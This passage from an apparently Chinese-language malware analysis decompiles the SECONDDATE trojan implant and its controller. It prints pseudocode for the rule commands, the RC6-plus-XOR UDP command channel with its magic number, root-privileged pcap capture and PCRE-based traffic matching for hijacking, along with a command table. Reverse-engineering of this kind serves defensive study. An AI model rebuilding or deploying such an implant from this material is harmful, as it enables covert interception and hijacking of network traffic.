              if ( !sendCommand(fd, &req, &resp.magic) )
              {
                HIWORD(v58) = v249;
                LOWORD(v58) = __ROR2__(v248, 8);
                v18 = __ROR4__(v58, 16);
                LOWORD(v18) = __ROR2__(v18, 8);
                if ( !v18 )
```

```
                goto LABEL_118;
LABEL_37:
                fprintf(stderr, "SECONDDATE: command failed with error
code %d.\n", v18);
                goto LABEL_17;
              }
            }
          }
          else
          {
            v113 = v224;
            if ( v224 > 7 )
              v113 = 7;
            if ( !memcmp(ptr, "getlog", v113) ) // getlog
            {
              v114 = 0;
              v243 = __strdup(str);
              do
              {
                v115 = strtok(v243, " ");
                (&v275)[v114] = v115;
                if ( !v115 )
                  break;
                ++v114;
                v243 = 0;
              }
              while ( v114 != 128 );
              v116 = 0;
              optind = 0;
              v235 = 0;
              while ( 1 )
              {
                v117 = getopt_long(v114, &v275, "o:", &stru_8089700,
&longind);
                if ( v117 == -1 )
                  break;
                if ( v117 )
                {
                  v116 = 1;
                }
                else
                {
                  v235 = 1;
```

```
                v234 = optarg;
              }
            }
            v127 = v114 - 1;
            if ( v114 - 1 > optind || v116 )
            {
              fwrite("SECONDDATE: Usage getlog [--log=logfile]
entrynum\n", 1u, 0x32u, stderr);
              free(v243);
            }
            else
            {
              v242 = 0;
              if ( v127 == optind )
                v242 = __strtol_internal((&v275)[v127], 0, 10, 0);
              v128 = stdout;
              if ( v235
                && (timer = time(0),
                    v129 = localtime(&timer),
                    snprintf(
                      filename,
                      0x400u,
                      "%s.%04d_%02d_%02d_%02d:%02d:%02d",
                      v234,
                      v129->tm_year + 1900,
                      v129->tm_mon + 1,
                      v129->tm_mday,
                      v129->tm_hour,
                      v129->tm_min,
                      v129->tm_sec),
                    (v128 = fopen(filename, "w")) == 0) )
              {
                fprintf(stderr, "SECONDDATE: unable to open log file
%s\n", filename);
                free(v243);
              }
              else
              {
                fwrite(
                  "Index\tSrc Address\tDest Address\tProt\tSrc
Port\tDst Port\tAge(secs) \trule\n",
                  1u,
                  0x46u,
```

```
                    v128);
                  fwrite(
                    "-----\t-----------\t-----------\t----\t--------
\t--------\t----------\t------\n",
                    1u,
                    0x48u,
                    v128);
                  memset(&i, 0, 0x3F0u);
                  HIWORD(v130) = HIWORD(v242);
                  v239 = 0;
                  LOWORD(v130) = __ROR2__(v242, 8);
                  v131 = __ROR4__(v130, 16);
                  LOWORD(v131) = __ROR2__(v131, 8);
                  for ( i = v131; ; i = v186 )
                  {
                    req.command = 0x6000000;
                    if ( sendCommand(fd, &req, &resp.magic) )
                      break;
                    HIWORD(v132) = v249;
                    LOWORD(v132) = __ROR2__(v248, 8);
                    v133 = __ROR4__(v132, 16);
                    LOWORD(v133) = __ROR2__(v133, 8);
                    if ( v133 )
                      break;
                    if ( !v239 )
                    {
                      HIWORD(v134) = v251;
                      LOWORD(v134) = __ROR2__(v250, 8);
                      v135 = __ROR4__(v134, 16);
                      LOWORD(v135) = __ROR2__(v135, 8);
                      v239 = v135;
                    }
                    v136 = 0;
                    p_resp = &resp;
                    v223 = 32;
                    do
                    {
                      if ( !p_resp[1].command )
                        goto LABEL_374;
                      type = p_resp[1].type;
                      LOWORD(type) = __ROR2__(type, 8);
                      v139 = __ROR4__(type, 16);
                      LOWORD(v139) = __ROR2__(v139, 8);
```

```
                    if ( v139 > 0xF9F )
                      goto LABEL_506;
                    if ( v235 )
                      printf("Logging entry %d to %s\n", v139,
filename);
                    v140 = p_resp[1].type;
                    ++v136;
                    LOWORD(v140) = __ROR2__(v140, 8);
                    v141 = __ROR4__(v140, 16);
                    LOWORD(v141) = __ROR2__(v141, 8);
                    fprintf(v128, "%d\t", v141);
                    v142 = inet_ntoa(*(&resp.errCode + v223));
                    fprintf(v128, "%-15.15s\t", v142);
                    v143 = inet_ntoa(*(&resp.logTime + v223));
                    fprintf(v128, "%-15.15s\t", v143);
                    fprintf(v128, "%d\t", SLOBYTE(p_resp[2].magic));
                    fprintf(v128, "%8d\t",
__ROR2__(p_resp[1].counter[0], 8));
                    fprintf(v128, "%8d\t",
__ROR2__(HIWORD(p_resp[1].counter[0]), 8));
                    v144 = p_resp[1].counter[1];
                    LOWORD(v144) = __ROR2__(v144, 8);
                    v145 = __ROR4__(v144, 16);
                    LOWORD(v145) = __ROR2__(v145, 8);
                    fprintf(v128, "%10u\t", v239 - v145);
                    command = p_resp[1].command;
                    p_resp = (p_resp + 28);
                    LOWORD(command) = __ROR2__(command, 8);
                    v147 = __ROR4__(command, 16);
                    LOWORD(v147) = __ROR2__(v147, 8);
                    fprintf(v128, aD_2, v147);
                    v223 += 28;
                  }
                  while ( v136 != '$' );
                  if ( !req.counter[0] )
                  {
LABEL_374:
                    fprintf(stderr, "stopping at curr = %d\n",
v136);
                    break;
                  }
LABEL_506:
                  v184 = *(&resp.errCode + 7 * v136);
```

```
                    LOWORD(v184) = __ROR2__(v184, 8);
                    v185 = __ROR4__(v184, 16);
                    LOWORD(v185) = __ROR2__(v185, 8);
                    ++v185;
                    LOWORD(v185) = __ROR2__(v185, 8);
                    v186 = __ROR4__(v185, 16);
                    LOWORD(v186) = __ROR2__(v186, 8);
                  }
                  if ( v235 )
                    fclose(v128);
                  free(v243);
                }
              }
            }
            else
            {
              v148 = v224;
              if ( v224 > 10 )
                v148 = 10;
              if ( !memcmp(ptr, "uninstall", v148) )// uninstall
              {
                req.command = 0x8000000;
                if ( !sendCommand(fd, &req, &resp.magic) )
                {
                  HIWORD(v182) = v249;
                  LOWORD(v182) = __ROR2__(v248, 8);
                  v183 = __ROR4__(v182, 16);
                  LOWORD(v183) = __ROR2__(v183, 8);
                  if ( v183 )
                    fprintf(stderr, "SECONDDATE: command failed with
error code %d.\n", v183);
                  else
                    puts("OK.");
                }
                counterInitialized = 0;
              }
              else
              {
                v154 = v224;
                if ( v224 > 5 )
                  v154 = 5;
                if ( !memcmp(ptr, "help", v154) )// help
                  goto LABEL_502;
```

```
                v155 = v224;
                if ( v224 > 2 )
                  v155 = 2;
                if ( !memcmp(ptr, &byte_8082EDC, v155) )
                {
LABEL_502:
                  printInteractiveUsage();
                }
                else
                {
                  v156 = v224;
                  if ( v224 > 9 )
                    v156 = 9;
                  if ( !memcmp(ptr, &unk_807B4E9, v156) )
                  {
                    v157 = 0;
                    v244 = __strdup(str);
                    do
                    {
                      v158 = strtok(v244, " ");
                      (&v275)[v157] = v158;
                      if ( !v158 )
                        break;
                      ++v157;
                      v244 = 0;
                    }
                    while ( v157 != 128 );
                    v159 = 0;
                    optind = 0;
                    v240 = 0;
                    while ( 1 )
                    {
                      v160 = getopt_long(v157, &v275, &byte_8082320,
&stru_80896E0, &longind);
                      if ( v160 == -1 )
                        break;
                      if ( v160 )
                        v159 = 1;
                      else
                        v240 = 1;
                    }
                    if ( !v240 || optind == v157 )
                    {
```

```
                    v207 = v157 - 1;
                    if ( v157 - 1 <= optind && !v159 )
                    {
                      if ( v207 == optind )
                      {
                        v215 = __strtol_internal((&v275)[v207], 0,
10, 0);
                        if ( v240 || (v215 - 1) <= 0x3F )
                        {
                          v210 = v215;
                          v209 = v215;
                        }
                        else
                        {
                          fwrite("SECONDDATE: Invalid rule
number.\n", 1u, 0x21u, stderr);
                          while ( 1 )
                          {
                            while ( 1 )
                            {
                              v216 = readline(s);
                              if ( v216 )
                                break;
                              fwrite("SECONDDATE: Invalid rule
number.  Try again.\n", 1u, 0x2Du, stderr);
                            }
                            v217 = __strtol_internal(v216, 0, 10,
0);
                            if ( v217 > 0 && v217 <= 64 )
                              break;
                            fwrite("SECONDDATE: Invalid rule number.
Try again.\n", 1u, 0x2Du, stderr);
                            free(v216);
                          }
                          v221 = v216;
                          v209 = v217;
                          v210 = v217;
                          free(v221);
                        }
                        v208 = v209 - 1;
                        goto LABEL_592;
                      }
                      v208 = 0;
```

```
                        v209 = 1;
                        v210 = 64;
                        while ( 1 )
                        {
                          HIWORD(v211) = HIWORD(v208);
                          LOWORD(v211) = __ROR2__(v208, 8);
                          v212 = __ROR4__(v211, 16);
                          LOWORD(v212) = __ROR2__(v212, 8);
                          v259 = v212;
                          req.command = 83886080;
                          if ( sendCommand(fd, &req, &resp.magic) )
                            goto LABEL_591;
                          HIWORD(v213) = v249;
                          LOWORD(v213) = __ROR2__(v248, 8);
                          v214 = __ROR4__(v213, 16);
                          LOWORD(v214) = __ROR2__(v214, 8);
                          if ( v214 )
                          {
                            fprintf(stderr, "SECONDDATE: command
failed with error code %d.\n", v214);
LABEL_602:
                            v9 = v244;
                            goto LABEL_24;
                          }
                          if ( v252 == 1 || v209 == v210 && v210 <= 64
|| v240 )
                          {
                            printf("Rule:           %d\n", ++v208);
                            sub_80567C0(&resp);
                          }
                          else
                          {
LABEL_591:
                            ++v208;
                          }
LABEL_592:
                          if ( v210 <= v208 )
                            goto LABEL_602;
                        }
                      }
                    }
                    fwrite("SECONDDATE: Usage showrule [--all |
rulenum]\n", 1u, 0x2Du, stderr);
```

```
                    free(v244);
                  }
                  else
                  {
                    v27 = v224;
                    if ( v224 > 5 )
                      v27 = 5;
                    if ( !memcmp(ptr, "quit", v27) )// quit
                      goto LABEL_51;
                    v28 = v224;
                    if ( v224 > 5 )
                      v28 = 5;
                    if ( !memcmp(ptr, "exit", v28) )// exit
                      goto LABEL_51;
                  }
                }
              }
            }
          }
        }
        v65 = 0;
        v66 = __strdup(str);
        do
        {
          v67 = strtok(v66, " ");
          (&v275)[v65] = v67;
          if ( !v67 )
            break;
          ++v65;
          v66 = 0;
        }
        while ( v65 != 128 );
        optind = 0;
        v245 = 0;
        while ( 1 )
        {
          v68 = getopt_long(v65, &v275, &byte_8082320, &stru_808C900,
&longind);
          if ( v68 == -1 )
            break;
          if ( v68 )
            v245 = 1;
        }
```

```
        v70 = v65 - 1;
        if ( v65 - 1 > optind || v245 )
        {
          fwrite("SECONDDATE: Usage: disable [rulenum]\n", 1u, 0x25u,
stderr);
          free(v66);
        }
        else
        {
          if ( v70 != optind )
            goto LABEL_169;
          v242 = __strtol_internal((&v275)[v70], 0, 10, 0);
          if ( (v242 - 1) > 0x3F )
          {
            fwrite("SECONDDATE: Invalid rule number.\n", 1u, 0x21u,
stderr);
            while ( 1 )
            {
              while ( 1 )
              {
                v179 = readline(s);
                if ( v179 )
                  break;
                fwrite("SECONDDATE: Invalid rule number.  Try
again.\n", 1u, 0x2Du, stderr);
              }
              v180 = __strtol_internal(v179, 0, 10, 0);
              v181 = v180;
              if ( v180 > 0 && v180 <= 64 )
                break;
              fwrite("SECONDDATE: Invalid rule number.  Try again.\n",
1u, 0x2Du, stderr);
              free(v179);
            }
            free(v179);
            v242 = v181;
            if ( (v181 - 1) > 0x3F )
            {
LABEL_169:
              fprintf(stderr, "SECONDDATE: You must choose a rule
number between 1 and %d\n", 64);
              while ( 1 )
              {
```

```
                while ( 1 )
                {
                  v71 = readline(s);
                  v72 = v71;
                  if ( v71 )
                    break;
                  fwrite("SECONDDATE: Invalid rule number.  Try
again.\n", 1u, 0x2Du, stderr);
                }
                v73 = __strtol_internal(v71, 0, 10, 0);
                v74 = v73;
                if ( v73 > 0 && v73 <= 64 )
                  break;
                fwrite("SECONDDATE: Invalid rule number.  Try
again.\n", 1u, 0x2Du, stderr);
                free(v72);
              }
              free(v72);
              v242 = v74;
            }
          }
          req.command = 0x4000000;              // disable
          v75 = v242 - 1;
          LOWORD(v75) = __ROR2__(v242 - 1, 8);
          v76 = __ROR4__(v75, 16);
          LOWORD(v76) = __ROR2__(v76, 8);
          v259 = v76;
          if ( !sendCommand(fd, &req, &resp.magic) )
          {
            HIWORD(v77) = v249;
            LOWORD(v77) = __ROR2__(v248, 8);
            v18 = __ROR4__(v77, 16);
            LOWORD(v18) = __ROR2__(v18, 8);
            if ( !v18 )
              goto LABEL_118;
            goto LABEL_37;
          }
        }
      }
    }
    fprintf(stderr, "SECONDDATE: %s is invalid IP address.\n", v5[1]);
LABEL_107:
    exit(1);
```

```
  }
  return 0;
}
```

命令的收发是两次加密,先rc6,然后XOR,通过UDP协议下发,然后接受响应,先XOR,然后rc6解密.

命令列表

指令	功能说明
clearlog	清除规则触发日志
disable [rulenum]	关闭规则
enable [rulenum]	启用规则
help or ?	帮助说明
ping	测试木马通信是否畅通
quit or exit	退出
rule [rulenum] [opts ...]	配置规则
getinfo	获取程序基本信息及规则触发概要信息
showrule [--all or rulenum]	显示规则详情
getlog [--log logfile] [entrynum]	获取规则触发日志
uninstall	卸载程序

这些命令,一部分是本地处理,比如rule,help等,另外的命令则用于与植入物进行交互.

Seconddate_Implant

Seconddate_Implant 是一个包处理程序,使用pcap包进行网络流量的劫持.

其程序主要逻辑如下:

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax

  ioctlPidFile_8054CF0(); // 设置PID的ioctl
  procParameters_8054A00(argc, argv, envp); // 处理参数
  result = au_re__geteuid();
  if ( !result ) // 检查是否有root权限
  {
    result = initCryptAndPcre_80542E0(); // 初始化加密参数和编译PCRE正则
表达式
```

```
    if ( !result )
    {
      result = pcapInit_80547C0(); // 初始化pcap库
      if ( !result )
      {
        filterMain_8053170(); // 处理数据包
        return 0;
      }
    }
  }
  return result;
}
```

从上面的代码可以看出,启动后处理参数,检查权限,完成初始化,就进入到包处理循环.

```
int filterMain_8053170()
{
  int result; // eax
  int maxfd; // ebx
  int v2; // edi
  int v3; // ecx
  int number; // esi
  int i; // edi
  int *v6; // eax
  fd_set exceptfds; // [esp+38h] [ebp-120h] BYREF
  fd_set readfds; // [esp+B8h] [ebp-A0h] BYREF
  char v9[8]; // [esp+138h] [ebp-20h] BYREF
  int v10; // [esp+140h] [ebp-18h]
  int v11; // [esp+144h] [ebp-14h]
  int v12[4]; // [esp+148h] [ebp-10h] BYREF

  result = 0;
  v12[0] = -1;
  memset(&readfds, 0, sizeof(readfds));
  memset(&exceptfds, 0, sizeof(exceptfds));
  if ( interfaces )                                     // 是否存在接口
  {
    maxfd = 0;
    while ( 1 )                                         // 循环主体
    {
      do
      {
        if ( interfaces )
```

```
        {
          v2 = 0;
          v3 = 0;
          do
          {
            if ( maxfd < dword_808E4F0[v3] )
              maxfd = dword_808E4F0[v3];
            _bittestandset(&readfds.__fds_bits[dword_808E4F0[v3] >>
5], dword_808E4F0[v3] & 0x1F);
            _bittestandset(&exceptfds.__fds_bits[dword_808E4F0[v3] >>
5], dword_808E4F0[v3] & 0x1F);
            ++v2;
            v3 += 4;
          }
          while ( interfaces > v2 );
        }
        number = select(maxfd + 1, &readfds, 0, &exceptfds, 0);
      }
      while ( number <= 0 || maxfd < 0 );        // 等等数据包
      i = 0;                                     // 有数据包进入
      do
      {
        if ( _bittest(&readfds.__fds_bits[i >> 5], i & 0x1F) )
        {
          v6 = lookupInterface_80530A0(i);
          currentInterface = v6;
          if ( v6 )
          {
            --number;
            packet = pcap_next(v6[1], v9);
            if ( packet )
            {
              if ( v10 == v11 )
              {
                result = au_re_pcap_datalink(v12, *(currentInterface +
4));// 读取数据包
                if ( v12[0] == -1 )
                  return result;
                if ( __ROR2__(*(v12[0] + packet + 2), 8) == v10 -
LOWORD(v12[0]) )
                  filterPackage_8054290((v12[0] + packet));// 处理数据
包
              }
```

```
            }
          }
        }
        ++i;
      }
      while ( i <= maxfd && number );
    }
  }
  return result;
}
```

整个循环就是处理各个网卡的数据,读取数据,然后处理.

```
int __cdecl filterPackage_8054290(struct iphdr *pIp)
{
  int result; // eax

  result = commandProcess_8053810(pIp);
  if ( !result )
    return procPackage_8053350(pIp);
  return result;
}
```

处理数据包的逻辑也很简单,先判断一下数据包是否需要处理,如果需要处理,就处理之.

```
int __cdecl commandProcess_8053810(struct sndpkga *pkg)
{
  unsigned __int8 offset; // bl
  struct sndudp *pUdp; // ebx
  struct sndpkg *pSndpkg; // esi
  int v5; // ebx
  int v6; // eax
  char *p; // edx
  int q; // eax
  int v9; // esi
  char *v10; // ebx
  unsigned int v11; // eax
  unsigned int v12; // eax
  int v13; // eax
  char *v14; // edx
  int v15; // ecx
  int v16; // eax
  int v17; // ebx
```

```
int v18; // eax
int v19; // edx
int v20; // eax
unsigned int v21; // eax
int v22; // eax
unsigned int v23; // eax
unsigned int v24; // edx
int v25; // eax
char *v26; // esi
int v27; // eax
int v28; // ebx
int v29; // esi
_DWORD *v30; // ebx
int v31; // eax
int v32; // ecx
unsigned int v33; // eax
int v34; // eax
int v35; // ebx
unsigned int v36; // ecx
int *v37; // esi
char *v38; // eax
int v39; // eax
unsigned int v40; // eax
int v41; // eax
unsigned int v42; // eax
int v43; // eax
int i; // ebx
int v45; // [esp+28h] [ebp-460h]
int command; // [esp+2Ch] [ebp-45Ch]
__int16 sport; // [esp+34h] [ebp-454h]
__int16 dport; // [esp+38h] [ebp-450h]
unsigned int v49; // [esp+3Ch] [ebp-44Ch]
int *v50; // [esp+40h] [ebp-448h]
unsigned int v51; // [esp+44h] [ebp-444h]
unsigned int v52; // [esp+48h] [ebp-440h]
char dest[8]; // [esp+50h] [ebp-438h] BYREF
int v54; // [esp+58h] [ebp-430h]
int v55; // [esp+5Ch] [ebp-42Ch] BYREF
int v56; // [esp+60h] [ebp-428h]
int v57[2]; // [esp+64h] [ebp-424h] BYREF
char v58[4]; // [esp+6Ch] [ebp-41Ch] BYREF
char v59[4]; // [esp+70h] [ebp-418h] BYREF
char v60[4]; // [esp+74h] [ebp-414h] BYREF
```

```
int v61; // [esp+78h] [ebp-410h] BYREF
char v62[4]; // [esp+7Ch] [ebp-40Ch] BYREF
char v63[4]; // [esp+80h] [ebp-408h] BYREF
char v64[4]; // [esp+84h] [ebp-404h] BYREF
char v65[4]; // [esp+88h] [ebp-400h] BYREF
char v66[4]; // [esp+8Ch] [ebp-3FCh] BYREF
__int16 v67; // [esp+90h] [ebp-3F8h] BYREF
__int16 v68; // [esp+92h] [ebp-3F6h] BYREF
char v69[4]; // [esp+94h] [ebp-3F4h] BYREF
char v70[4]; // [esp+98h] [ebp-3F0h] BYREF
char v71[4]; // [esp+9Ch] [ebp-3ECh] BYREF
char v72[4]; // [esp+A0h] [ebp-3E8h] BYREF
char v73[4]; // [esp+A4h] [ebp-3E4h] BYREF
char v74[4]; // [esp+A8h] [ebp-3E0h] BYREF
char v75[4]; // [esp+ACh] [ebp-3DCh] BYREF
int v76; // [esp+B0h] [ebp-3D8h]
int v77; // [esp+B4h] [ebp-3D4h]
char src[256]; // [esp+B8h] [ebp-3D0h] BYREF
char v79[676]; // [esp+1B8h] [ebp-2D0h] BYREF
char v80[12]; // [esp+45Ch] [ebp-2Ch] BYREF
char v81[4]; // [esp+468h] [ebp-20h] BYREF
char v82[4]; // [esp+46Ch] [ebp-1Ch] BYREF
int xorKey; // [esp+470h] [ebp-18h] BYREF
int v84; // [esp+474h] [ebp-14h] BYREF
int v85[4]; // [esp+478h] [ebp-10h] BYREF

offset = *&pkg->iph & 0xF;
v85[0] = ntohl_8054B80(&pkg->iph.saddr);
v84 = ntohl_8054B80(&pkg->iph.daddr);
if ( pkg->iph.protocol != IPPROTO_UDP )
  return 0;
pUdp = (pkg + 4 * offset);
sport = ntohs_8054B40(pUdp);
dport = ntohs_8054B40(&pUdp->udph.dest);
if ( ntohs_8054B40(&pUdp->udph.len) != SNDPKG_UDP )
  return 0;
pSndpkg = &pUdp->sndhdr;
xorKey = ntohl_8054B80(pUdp->sndhdr.xorsum) - SNDPKG_XOR_SUM;
if ( xorKey + ntohl_8054B80(&pUdp->sndhdr.xorsum[1]) )// 验证XOR
  return 0;
v5 = 0;
memcpy(dest, pSndpkg, SNDPKG_LENGTH);
v6 = ntohl_8054B80(&xorKey);
```

```
  p = dest;
  xorKey = v6;
  do                                                    // xor解密
  {
    q = *(p + 3) ^ xorKey;
    *(p + 3) = q;
    p += 4;
    v5 ^= q;
  }
  while ( p != v80 );
  xorKey = ntohl_8054B80(&xorKey);
  if ( v54 != v5 )
    return 0;
  if ( !sub_8055010(&counter, &v55) || (v9 = 0,
!sub_8055010(&lastCounter, &v55)) )
    v9 = 1;
  rc6Decrypt_8055440(v57, v57, 1028, &v55, keySchedule);
  command = ntohl_8054B80(v58);
  if ( command < 0 || ntohl_8054B80(v57) != 0x9E1A833A || !v9 &&
ntohl_8054B80(v58) != 9 )
    return 0;
  htonl_8054BB0(v59, 0);
  switch ( command )                                    // 这里的命令已经转换为
简单的数字
  {
    case 1:
      goto LABEL_22;
    case 2:
      v21 = ntohl_8054B80(v62);
      if ( v21 > 0x3F || (v22 = 832 * v21, g_rules[v22]) )
      {
        htonl_8054BB0(v59, 2u);
      }
      else
      {
        v26 = &g_rules[v22];
        *(v26 + 1) = ntohl_8054B80(v62);
        *(v26 + 2) = ntohl_8054B80(v63);
        *(v26 + 3) = ntohl_8054B80(v64);
        *(v26 + 4) = ntohl_8054B80(v65);
        *(v26 + 5) = ntohl_8054B80(v66);
        *(v26 + 12) = ntohs_8054B40(&v67);
        *(v26 + 13) = ntohs_8054B40(&v68);
```

```
        *(v26 + 14) = ntohs_8054B40(v69);
        *(v26 + 8) = ntohl_8054B80(v70);
        *(v26 + 9) = ntohl_8054B80(v71);
        *(v26 + 10) = ntohl_8054B80(v72);
        v27 = ntohl_8054B80(v73);
        *(v26 + 12) = 0;
        *(v26 + 13) = 0;
        *(v26 + 14) = 0;
        *(v26 + 15) = 0;
        *(v26 + 11) = v27;
        *(v26 + 1) = *(&v61 + 1);
        v26[3] = HIBYTE(v61);
        memset(v26 + 64, 0, 0x100u);
        memcpy(v26 + 64, src, 0x100u);
        memset(v26 + 320, 0, 0x200u);
        memcpy(v26 + 320, v79, *(v26 + 11));
        v28 = *(v26 + 1);
        if ( *(&g_reRules + v28) )
        {
          free(*(&g_reRules + v28));
          v28 = *(v26 + 1);
          *(&g_reRules + v28) = 0;
        }
        if ( v26[2] )
        {
          *(&g_reRules + v28) = pcre_compile((v26 + 64), 1, v82, v81,
0);
          if ( !*(&g_reRules + *(v26 + 1)) )
            htonl_8054BB0(v59, 4u);
        }
      }
      goto LABEL_22;
    case 3:
      v23 = ntohl_8054B80(v62);
      v24 = v23;
      if ( v23 > 0x3F )
        goto LABEL_36;
      v25 = 832 * v23;
      v45 = v25;
      if ( g_rules[v25] )
        goto LABEL_36;
      v29 = 2 * v24;
      v30 = (v25 + 0x8081100);
```

```
      v50 = &g_ruleTimers[2 * v24];
      v31 = au_re__time();
      v32 = v30[10];
      g_ruleTimers[v29] = v31;
      v50[1] = v32 + v31;
      ++g_ruleCount;
      v30[12] = 0;
      v30[13] = 0;
      g_rules[v45] = 1;
      goto LABEL_22;
    case 4:
      v33 = ntohl_8054B80(v62);
      if ( v33 > 0x3F )
        goto LABEL_36;
      v34 = 832 * v33;
      if ( !g_rules[v34] )
        goto LABEL_36;
      --g_ruleCount;
      g_rules[v34] = 0;
      goto LABEL_22;
    case 5:
      v52 = ntohl_8054B80(v62);
      if ( v52 > 0x3F )
        goto LABEL_36;
      v49 = au_re__time();
      v10 = &g_rules[832 * v52];
      htonl_8054BB0(v63, *(v10 + 2));
      htonl_8054BB0(v64, *(v10 + 3));
      htonl_8054BB0(v65, *(v10 + 4));
      htonl_8054BB0(v66, *(v10 + 5));
      htons_8054B60(&v67, *(v10 + 12));
      htons_8054B60(&v68, *(v10 + 13));
      htons_8054B60(v69, *(v10 + 14));
      LOBYTE(v61) = *v10;
      htonl_8054BB0(v70, *(v10 + 8));
      htonl_8054BB0(v71, *(v10 + 9));
      htonl_8054BB0(v72, *(v10 + 10));
      htonl_8054BB0(v73, *(v10 + 11));
      htonl_8054BB0(v74, *(v10 + 12));
      htonl_8054BB0(v75, *(v10 + 13));
      *(&v61 + 1) = *(v10 + 1);
      HIBYTE(v61) = v10[3];
      memcpy(src, v10 + 64, sizeof(src));
```

```
      memcpy(v79, v10 + 320, 0x200u);
      v11 = g_ruleTimers[2 * v52];
      if ( v49 <= v11 )
      {
        v42 = v11 - v49;
        LOWORD(v42) = __ROR2__(v42, 8);
        v43 = __ROR4__(v42, 16);
        LOWORD(v43) = __ROR2__(v43, 8);
        v76 = v43;
      }
      else
      {
        v76 = 0;
      }
      v12 = dword_808E104[2 * v52];
      if ( v49 <= v12 )
      {
        v40 = v12 - v49;
        LOWORD(v40) = __ROR2__(v40, 8);
        v41 = __ROR4__(v40, 16);
        LOWORD(v41) = __ROR2__(v41, 8);
        v77 = v41;
      }
      else
      {
        v77 = 0;
      }
      goto LABEL_22;
    case 6:
      v35 = ntohl_8054B80(&v61);
      if ( v35 > 3999 )
        goto LABEL_36;
      v51 = au_re__time();
      if ( (v35 + 36) > 0xF9F )
      {
        v36 = 28 * (4000 - v35);
        v37 = (g_sdLog + 28 * v35);
        v38 = &v61;
        if ( v36 > 7 && (&v61 & 4) != 0 )
        {
          v39 = *v37;
          v36 -= 4;
          ++v37;
```

```
          v61 = v39;
          v38 = v62;
        }
        qmemcpy(v38, v37, 4 * (v36 >> 2));
      }
      else
      {
        memcpy(&v61, g_sdLog + 28 * v35, 0x3F0u);
      }
      htonl_8054BB0(v60, v51);
      goto LABEL_22;
    case 7:
      htonl_8054BB0(&v61, 0x1010101u);
      htonl_8054BB0(v62, g_logEntries);
      htonl_8054BB0(v63, g_ruleCount);
      goto LABEL_22;
    case 8:
      Uninstall();
    case 9:
      for ( i = 0; i != 8; ++i )
        *(&counter + i) = ~sub_80552C0();
      v55 = counter;
      v56 = dword_808E30C;
      goto LABEL_22;
    case 10:
      if ( g_rules[0] )
        goto LABEL_30;
      v19 = 1;
      v20 = 0;
      break;
    default:
LABEL_36:
      htonl_8054BB0(v59, 1u);
      goto LABEL_22;
  }
  do
  {
    if ( byte_8081440[v20] )
    {
LABEL_30:
      htonl_8054BB0(v59, 1u);
      goto LABEL_63;
    }
```

```
    ++v19;
    v20 += 832;
  }
  while ( v19 != 64 );
  memset(g_sdLog, 0, 0x1B580u);
LABEL_63:
  g_logEntries = 0;
LABEL_22:
  htonl_8054BB0(v58, command | 0x80000000);
  dword_808E30C = v56;
  dword_808E304 = v56;
  counter = v55;
  lastCounter = v55;
  rc6Decrypt_80553C0(v57, v57, 1028, &counter, keySchedule);// rc6解密
  v13 = ntohl_8054B80(&xorKey);
  v14 = dest;
  v15 = 0;
  xorKey = v13;
  do                                                    // xor解密
  {
    v16 = *(v14 + 3);
    v15 ^= v16;
    *(v14 + 3) = xorKey ^ v16;
    v14 += 4;
  }
  while ( v80 != v14 );
  v54 = v15;
  xorKey = ntohl_8054B80(&xorKey);
  v17 = ntohl_8054B80(v85);
  v18 = ntohl_8054B80(&v84);
  return libnetProcess_8054CB0(pkg, dest, v18, v17, dport, sport);
}
```

命令的处理是先查看标识数(MAGICNUMBER),如果是命令的话,就对命令进行解密,然后执行,最后将执行结果返回给Client.

```
int __cdecl procPackage_8053350(struct iphdr *pIp)
{
  int v1; // ebx
  int v3; // ebx
  char *v4; // edi
  u_int8_t protocol; // al
  int i; // esi
```

```
_DWORD *v7; // ebx
int v8; // edi
int v9; // edx
unsigned int v10; // eax
int v11; // edx
unsigned int v12; // eax
int sip; // [esp+2Ch] [ebp-4Ch]
int dip; // [esp+30h] [ebp-48h]
unsigned int v15; // [esp+34h] [ebp-44h]
char *v16; // [esp+38h] [ebp-40h]
int *v17; // [esp+3Ch] [ebp-3Ch]
__int16 v18; // [esp+40h] [ebp-38h]
char *v19; // [esp+44h] [ebp-34h]
int v20; // [esp+48h] [ebp-30h]
__int16 v21; // [esp+4Ch] [ebp-2Ch]
__int16 v22; // [esp+50h] [ebp-28h]
int v23; // [esp+54h] [ebp-24h]
int v24; // [esp+58h] [ebp-20h]
char v25[24]; // [esp+60h] [ebp-18h] BYREF

if ( (pIp->frag_off & 0x2000) != 0 || !g_ruleCount )
  return 0;
v3 = 4 * (*pIp & 0xF);
v4 = pIp + v3;
sip = ntohl_8054B80(&pIp->saddr);
dip = ntohl_8054B80(&pIp->daddr);
protocol = pIp->protocol;
v18 = protocol;
if ( protocol == IPPROTO_TCP )
{
  v21 = ntohs_8054B40((pIp + v3));
  v22 = ntohs_8054B40(v4 + 1);
  v19 = &v4[4 * (v4[12] >> 4)];
  v23 = ntohl_8054B80(v4 + 1);
  v24 = ntohl_8054B80(v4 + 2);
}
else
{
  if ( protocol != IPPROTO_UDP )
    return 0;
  v21 = ntohs_8054B40((pIp + v3));
  v19 = v4 + 8;
  v23 = 0;
```

```
    v24 = 0;
    v22 = ntohs_8054B40(v4 + 1);
  }
  v20 = (ntohs_8054B40(&pIp->tot_len) - (v19 - pIp));
  if ( v20 <= 3u )
    return 0;
  i = 0;
  v7 = &unk_8081104;
  v15 = au_re__time();
  while ( 1 )
  {
    v16 = (v7 - 1);
    v8 = *v7;
    if ( *v7 == i && *(v7 - 4) == 1 )
    {
      v17 = &g_ruleTimers[2 * i];
      if ( v7[9] && v15 > dword_808E104[2 * i] )
      {
        v9 = v7[9];
        v7[11] = 0;
        dword_808E104[2 * i] = v9 + v15;
      }
      v10 = v7[8];
      if ( (!v10 || v10 > v7[11])
        && v15 >= g_ruleTimers[2 * v8]
        && (v7[2] & sip) == v7[1]
        && (v7[4] & dip) == v7[3]
        && (!*(v7 + 10) || v18 == *(v7 + 10))
        && (!*(v7 + 11) || v21 == *(v7 + 11))
        && (!*(v7 + 12) || v22 == *(v7 + 12))
        && (*(v7 - 3) != 1 || globalHttpPcre &&
pcre_exec(globalHttpPcre, 0, v19, v20, 0, 0, v25, 3) > 0) )
      {
        if ( *(v7 - 2) != 1 )
          break;
        v11 = *(&g_reRules + v8);
        if ( v11 )
        {
          if ( pcre_exec(v11, 0, v19, v20, 0, 0, v25, 3) > 0 )// 匹配数
据包
            break;
        }
      }
```

```
    }
    ++i;
    v7 += 208;
    if ( i == 64 )                                  // 最多64条规则
      return 0;
  }
  ++*(v16 + 13);
  ++*(v16 + 12);
